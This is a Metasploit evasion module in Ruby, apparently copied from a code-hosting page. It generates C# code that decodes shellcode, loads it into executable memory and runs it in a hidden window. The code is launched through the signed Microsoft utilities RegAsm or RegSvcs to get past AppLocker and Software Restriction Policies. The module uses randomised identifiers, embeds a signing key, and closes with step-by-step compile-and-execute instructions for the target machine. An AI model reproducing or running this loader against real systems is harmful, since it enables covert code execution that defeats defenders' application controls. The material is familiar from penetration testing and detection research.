Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/evasion/windows/applocker_evasion_regasm_regsvcs.rb
Views: 11779
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Evasion67def initialize(info = {})8super(update_info(info,9'Name' => 'Applocker Evasion - Microsoft .NET Assembly Registration Utility',10'Description' => %(11This module will assist you in evading Microsoft12Windows Applocker and Software Restriction Policies.13This technique utilises the Microsoft signed binaries14RegAsm.exe or RegSvcs.exe to execute user supplied code.15),16'Author' =>17[18'Nick Tyrer <@NickTyrer>', # module development19'Casey Smith' # regasm_regsvcs bypass research20],21'License' => 'MSF_LICENSE',22'Platform' => 'win',23'Arch' => [ARCH_X86, ARCH_X64],24'Targets' => [['Microsoft Windows', {}]],25'References' => [['URL', 'https://attack.mitre.org/techniques/T1121/']])26)2728register_options(29[30OptString.new('TXT_FILE', [true, 'Filename for the evasive file (default: regasm_regsvcs.txt)', 'regasm_regsvcs.txt']),31OptString.new('SNK_FILE', [true, 'Filename for the .snk file (default: key.snk)', 'key.snk'])32]33)3435deregister_options('FILENAME')36end3738def build_payload39Rex::Text.encode_base64(payload.encoded)40end4142def obfu43Rex::Text.rand_text_alpha 844end4546def regasm_regsvcs47esc = build_payload48mod = [obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu]49<<~HEREDOC50using System;51using System.EnterpriseServices;52using System.Runtime.InteropServices;53namespace #{mod[0]}54{55public class #{mod[1]} : ServicedComponent56{57[ComRegisterFunction]58public static void RegisterClass(string #{mod[2]})59{60#{mod[3]}.#{mod[14]}();61}62[ComUnregisterFunction]63public static void UnRegisterClass(string #{mod[2]})64{65#{mod[3]}.#{mod[14]}();66}67}68public class #{mod[3]}69{70private static Int32 #{mod[4]}=0x1000;71private static IntPtr #{mod[5]}=(IntPtr)0x40;72private static UInt32 #{mod[6]} = 0xFFFFFFFF;73[System.Runtime.InteropServices.DllImport("kernel32")]74private static extern IntPtr VirtualAlloc(IntPtr a, UIntPtr s, Int32 t, IntPtr p);75[System.Runtime.InteropServices.DllImport("kernel32")]76private static extern IntPtr CreateThread(IntPtr att, UIntPtr st, IntPtr sa, IntPtr p, Int32 c, ref IntPtr id);77[System.Runtime.InteropServices.DllImport("kernel32")]78private static extern UInt32 WaitForSingleObject(IntPtr h, UInt32 ms);79[System.Runtime.InteropServices.DllImport("user32.dll")]80static extern bool ShowWindow(IntPtr #{mod[7]}, int nCmdShow);81[System.Runtime.InteropServices.DllImport("Kernel32")]82private static extern IntPtr GetConsoleWindow();83const int #{mod[8]} = 0;84public static void #{mod[14]}()85{86IntPtr #{mod[7]};87#{mod[7]} = GetConsoleWindow();88ShowWindow(#{mod[7]}, #{mod[8]});89string #{mod[9]} = "#{esc}";90byte[] #{mod[10]} = Convert.FromBase64String(#{mod[9]});91byte[] #{mod[11]} = #{mod[10]};92IntPtr #{mod[12]} = VirtualAlloc(IntPtr.Zero, (UIntPtr)#{mod[11]}.Length, #{mod[4]}, #{mod[5]});93System.Runtime.InteropServices.Marshal.Copy(#{mod[11]}, 0, #{mod[12]}, #{mod[11]}.Length);94IntPtr #{mod[13]} = IntPtr.Zero;95WaitForSingleObject(CreateThread(#{mod[13]}, UIntPtr.Zero, #{mod[12]}, #{mod[13]}, 0, ref #{mod[13]}), #{mod[6]});96}97}98}99HEREDOC100end101102def snk103debaser = 'BwIAAAAkAABSU0EyAAQAAAEAAQD9yIxqf9oJgwLw6nUHqVNq4LaP+/eaL4qTT9K9aV/z7ddCP8+Uf2/47KnHklpaw+eH03ZaA2yKYBA9s+Al0VoyajA76HQp104HDaCgiURBIT2GBLUGwdhoEMWX5J8eoCzkucJEjSsavQh+r9JeB6zcQvoZIx0PrpELgQc8is8j2jvsFuc5LQ8ZFoPk1273TTxKibw84HFESjxJrRtkSjwoEo4OUuZtL3C7fD105gnaSoeLnMwohmyTTjt15zgBZv7xD5u/CHD4/+tySJufY5j0FkBxhyqt2DWHcmH4MQCC6PgYfIuTXEAD35o0cg+6s6pJYKB+DUCrU5vSime3jyWno9vCe87UT+fQcDrKntHB106mjnj9WliAMZlU1IuCWieT7fzGZqqIsd4rrcgxetnWzaWRAkgHcTVkmVPIt0z9zHU71s7CER2viklJkiaZjRQan5ZA7bTqqsuG1xoIyXTWbKsaAMCKf5a4IJS2ImpqaYA9HR107BrIV7be2o0QJxSm1LPqBXJqkAhnCpcYyfve2dql7fF+fAIDGe3ZgCEbJsfYuAaAY0snGJQhUgLmwO8GDbsbMUTuBQspDv8QXsF53UNH5v5dnOKaTfo71LrI+I5zBUqEYP3B108DtK0qryu/J1eq80nPAmpNqRbFnYm1OdGKpgzHS+Ws7obPSt1HG3//BxC3a5znX0evfCfSaaWRswhjvblnh1070b3jkT6nJeksKuuVEHvudAQAtGn2vxNDs4CqrJODi5Z/BA109KgpIZqQeZmh3r4Zb5OI0='110Rex::Text.decode_base64(debaser)111end112113def file_format_filename(name = '')114name.empty? ? @fname : @fname = name115end116117def create_files118f1 = datastore['TXT_FILE'].empty? ? 'regasm_regsvcs.txt' : datastore['TXT_FILE']119f1 << '.txt' unless f1.downcase.end_with?('.txt')120f2 = datastore['SNK_FILE'].empty? ? 'key.snk' : datastore['SNK_FILE']121f2 << '.snk' unless f2.downcase.end_with?('.snk')122txt_file = regasm_regsvcs123snk_file = snk124file_format_filename(f1)125file_create(txt_file)126file_format_filename(f2)127file_create(snk_file)128end129130def instructions131print_status "Copy #{datastore['TXT_FILE']} and #{datastore['SNK_FILE']} to the target"132if payload.arch.first == ARCH_X86133print_status "Compile using: C:\\Windows\\Microsoft.Net\\Framework\\[.NET Version]\\csc.exe /r:System.EnterpriseServices.dll /target:library /out:#{datastore['TXT_FILE'].gsub('.txt', '.dll')} /keyfile:#{datastore['SNK_FILE']} #{datastore['TXT_FILE']}"134print_status "Execute using: C:\\Windows\\Microsoft.NET\\Framework\\[.NET Version]\\regsvcs.exe #{datastore['TXT_FILE'].gsub('.txt', '.dll')}"135print_status 'or'136print_status "Execute using: C:\\Windows\\Microsoft.NET\\Framework\\[.NET Version]\\regasm.exe /U #{datastore['TXT_FILE'].gsub('.txt', '.dll')}"137else138print_status "Compile using: C:\\Windows\\Microsoft.Net\\Framework64\\[.NET Version]\\csc.exe /r:System.EnterpriseServices.dll /target:library /out:#{datastore['TXT_FILE'].gsub('.txt', '.dll')} /keyfile:#{datastore['SNK_FILE']} #{datastore['TXT_FILE']}"139print_status "Execute using: C:\\Windows\\Microsoft.NET\\Framework64\\[.NET Version]\\regsvcs.exe #{datastore['TXT_FILE'].gsub('.txt', '.dll')}"140print_status 'or'141print_status "Execute using: C:\\Windows\\Microsoft.NET\\Framework64\\[.NET Version]\\regasm.exe /U #{datastore['TXT_FILE'].gsub('.txt', '.dll')}"142end143end144145def run146create_files147instructions148end149end150151152